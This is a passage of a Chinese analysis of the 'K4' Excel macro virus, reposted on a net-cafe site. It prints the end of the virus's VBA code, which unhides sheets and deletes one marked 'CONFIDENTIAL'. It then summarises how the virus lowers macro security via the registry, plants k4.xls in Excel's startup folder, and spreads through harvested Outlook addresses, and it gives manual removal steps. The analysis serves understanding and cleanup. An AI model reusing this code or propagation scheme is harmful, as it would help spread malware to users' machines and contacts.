  Application.ScreenUpdating = False

  Application.DisplayAlerts = False

  For Each sht In ThisWorkbook.Sheets

  If sht.Name <>"Macro1" Then sht.Visible = xlSheetVisible

  Next

  For Each rng In Sheets(del_sht).Range("A1:F15")

  If InStr(rng.Value, "CONFIDENTIAL") >0 Then

  del_frag = True

  Exit For

  End If

  Next

  If del_frag = True Then Sheets(del_sht).Delete

  Application.ScreenUpdating = True

  End Function

  ===================

  小结:

  这个被称为“K4”的宏病毒,主要行为是一个自我复制和传播的过程,对Excel文件本身的系统没有明显的破坏行为。

  宏病毒通过修改注册表,降低Excel的宏安全级别,使敏感代码获得运行权利。如果本宏病毒未能被执行,首次打开带毒.xls文件会提示“禁用宏,关闭。Please enable Macro”信息。

  宏病毒被激活后会复制一个副本k4.xls到Excel的启动目录里:

  C:\Documents and Settings\Administrator\Application Data\Microsoft\Excel\XLSTART

  保证个新建和打开的Excel文件都会自动附加一个k4带毒模块。实现本机感染。也就是说,如果这个目录下有一个该死的k4.xls,那说明你的机子中毒了。

  带毒.xls文件在被激活时,会通过系列细腻的行为,在指定的时间里在后台收集Outlook里的用户地址,又在指定的时间里打包并把带毒文件通过Outlook发送到搜集到的邮件地址里,实现网络传播。

  病毒有不少可以借鉴的地方,多处利用VBS代码进行文件操作,里面的代码写得不错,还用上了“正则表达式”,哇塞,偶一直想学啊。

  据冒死测试,该宏病毒在Win7 64环境下无法发挥作用,连k4模块都不能写入到Excel启动目录。可能和Win7的安全性有关。如果本机没有安装Outlook,这个宏病毒显得非常无趣。

  网上什么K4专杀工具,利用Excel.Application其它或OLE技术删除带毒模块的思路貌似徒劳。一旦调用OpenFile函数,即激活了病毒,无法根除。

  关于这个病毒的查毒,目前还是通过更新杀毒软件应该去搞定吧。

  手动也可以,得一个一个打开感染的.xls文件,删除Thisworkbook里的代码,最后一步是删除Excel启动目录里的k4.xls文件。但明显这是件痛苦的事。

  如果分析有误,欢迎批评指正。

本文来源:51CTO 作者:红黑联盟

相关文章
没有相关文章
声明
声明:本站所发表的文章、评论及图片仅代表作者本人观点,与本站立场无关。文章是出于传递更多信息之目的。若有来源标注错误或侵犯了您的合法权益,请作者持权属证明与本网联系,我们将及时更正、删除,谢谢。 Email:support@txwb.com,系统开号,技术支持,服务联系微信:_WX_1_本站所有有注明来源为天下网吧或天下网吧论坛的原创作品,各位转载时请注明来源链接!
天下网吧·网吧天下
  • 本周热门
  • 本月热门
  • 阅读排行